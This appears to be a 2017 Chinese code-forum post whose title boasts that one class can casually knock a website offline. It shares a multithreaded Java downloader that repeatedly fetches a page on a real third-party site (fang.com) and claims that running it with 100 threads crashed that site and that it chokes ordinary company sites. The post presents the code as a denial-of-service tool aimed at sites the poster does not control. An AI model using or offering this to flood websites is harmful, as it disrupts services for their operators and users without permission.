阿里云服务器免费领卷啦。

捡代码论坛-最全的游戏源码下载技术网站!

 找回密码
 立 即 注 册

QQ登录

只需一步,快速开始

搜索
关于源码区的附件失效或欺骗帖, 处理办法
查看: 2037|回复: 0

一个类,堪比压力测试,随随便便就能K掉一个网站

[复制链接]

4213

主题

210

回帖

12万

积分

管理员

管理员

Rank: 9Rank: 9Rank: 9

积分
127137
QQ
发表于 2017-2-13 16:52:30 | 显示全部楼层 |阅读模式
一个类,堪比压力测试,随随便便就能K掉一个网站
这是一个能提供多线程访问下载 网站的程序,亲测,搜房网100个线程1000个任务时,搜房网崩溃。。。

普通公司的网站,基本都会阻塞。。。


详细使用方式:


  1. package com.thinkgem.jeesite.common.persistence;

  2. import java.io.FileOutputStream;
  3. import java.io.InputStream;
  4. import java.net.URL;
  5. import java.net.URLConnection;
  6. import java.nio.channels.Channels;
  7. import java.nio.channels.FileChannel;
  8. import java.nio.channels.ReadableByteChannel;
  9. import java.util.Calendar;
  10. import java.util.concurrent.Callable;
  11. import java.util.concurrent.ExecutorService;
  12. import java.util.concurrent.Executors;

  13. public class HttpDownloader implements Callable<String> {
  14.         URLConnection connection;
  15.         FileChannel outputChann;
  16.         public static volatile int count = 0;

  17.         public static void main(String[] args) throws Exception {

  18.                 ExecutorService poll = Executors.newFixedThreadPool(2);

  19.                 for (int i = 0; i < 2000; i++) {
  20.                         Calendar now = Calendar.getInstance();
  21.                         String fileName = "d:/data/" + now.get(Calendar.YEAR) + "年"
  22.                                         + (now.get(Calendar.MONTH) + 1) + "月"
  23.                                         + now.get(Calendar.DAY_OF_MONTH) + "日--" + i + ".txt";
  24.                         poll.submit(new HttpDownloader(
  25.                                         "http://m.fang.com/bbs/changchun/1710763523/182859674.htm",
  26.                                         (new FileOutputStream(fileName)).getChannel()));
  27.                 }

  28.                 poll.shutdown();

  29.                 long start = System.currentTimeMillis();
  30.                 while (!poll.isTerminated()) {
  31.                         Thread.sleep(1000);
  32.                         System.out.println("已运行"
  33.                                         + ((System.currentTimeMillis() - start) / 1000) + "秒,"
  34.                                         + HttpDownloader.count + "个任务还在运行");
  35.                 }
  36.         }

  37.         public HttpDownloader(String url, FileChannel fileChannel) throws Exception {
  38.                 synchronized (HttpDownloader.class) {
  39.                         count++;
  40.                 }
  41.                 connection = (new URL(url)).openConnection();
  42.                 this.outputChann = fileChannel;
  43.         }

  44.         @Override
  45.         public String call() throws Exception {
  46.                 connection.connect();
  47.                 InputStream inputStream = connection.getInputStream();
  48.                 ReadableByteChannel rChannel = Channels.newChannel(inputStream);
  49.                 outputChann.transferFrom(rChannel, 0, Integer.MAX_VALUE);
  50.                 // System.out.println(Thread.currentThread().getName() + " completed!");
  51.                 inputStream.close();
  52.                 outputChann.close();
  53.                 synchronized (HttpDownloader.class) {
  54.                         count--;
  55.                 }
  56.                 return null;
  57.         }
  58. }
复制代码



捡代码论坛-最全的游戏源码下载技术网站! - 论坛版权郑重声明:
1、本主题所有言论和图片纯属会员个人意见,与本论坛立场无关
2、本站所有主题由该帖子作者发表,该帖子作者与捡代码论坛-最全的游戏源码下载技术网站!享有帖子相关版权
3、捡代码论坛版权,详细了解请点击。
4、本站所有内容均由互联网收集整理、网友上传,并且以计算机技术研究交流为目的,仅供大家参考、学习,不存在任何商业目的与商业用途。
5、若您需要商业运营或用于其他商业活动,请您购买正版授权并合法使用。 我们不承担任何技术及版权问题,且不对任何资源负法律责任。
6、如无法链接失效或侵犯版权,请给我们来信:jiandaima@foxmail.com

回复

使用道具 举报

*滑块验证:
您需要登录后才可以回帖 登录 | 立 即 注 册

本版积分规则

技术支持
在线咨询
QQ咨询
3351529868

QQ|手机版|小黑屋|捡代码论坛-专业源码分享下载 ( 陕ICP备15015195号-1|网站地图

GMT+8, 2025-1-5 14:59

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表